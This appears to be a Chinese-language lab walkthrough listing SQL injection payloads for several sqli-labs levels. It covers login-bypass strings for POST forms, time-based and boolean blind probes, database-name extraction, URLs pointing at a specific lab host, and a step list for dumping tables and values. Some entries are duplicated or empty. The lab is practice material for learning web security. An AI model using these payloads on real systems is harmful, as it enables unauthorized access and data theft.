less-12——基于”)的POST型注入
注入语句:admin”) and 1=1 –+

less-12——基于”)的POST型注入
注入语句:admin”) and 1=1 –+

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
注入语句:admin’ and 1=1 –+

这里不用密码也能登陆成功,所以判断是POST形式的单引号字符型注入

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
注入语句:id=1” and if(length(database())>7 ,sleep(5),1) –+

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注/基于’的时间盲注)
注入语句:id=1’ and if(length(database())>3 ,sleep(5),1) –+
因为你不知道数据库名是几个字母,所以先让数字大于3进行判断,然后依次增加。

如果sleep函数不起作用了,说明数据库名可能等于这个数。这时你就能判断它的数据库名啦。

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注/基于’的盲注(利用dns回显))
布尔型盲注,单引号,id=1回显,价格单引号不回显,构造一下验证是不是布尔型payload ?id=1’ and 1=1 –+ 回显了

暴库payload

库名长度可使用?id=1’ and length(database())=8–+ 判断,同理表名字,段名等。
最后得到库名?id=1’ and left((select database()),8)=’security’–+
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入/文件读写注入)


Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入/基于”字符型的错误回显注入)
双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap,再有利用concat()几聚合数。

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入/基于’字符型的错误回显注入)

看到这个报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了
下面给出验证时间延迟型的盲注:
http://45.32.113.109:40430/Less-5/?id=1' and sleep(5) –+
发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。

1.先判断闭合符号,单引号报错 http://45.32.113.109:11650/Less-3/?id=1'
这次的闭合符号是’)
2.判断一下注入类型
一致,是字符型注入
3.判断列数
4.爆数据库
5.爆数据表/查询表名
6.爆字段/查询列名
7.爆值/查询数据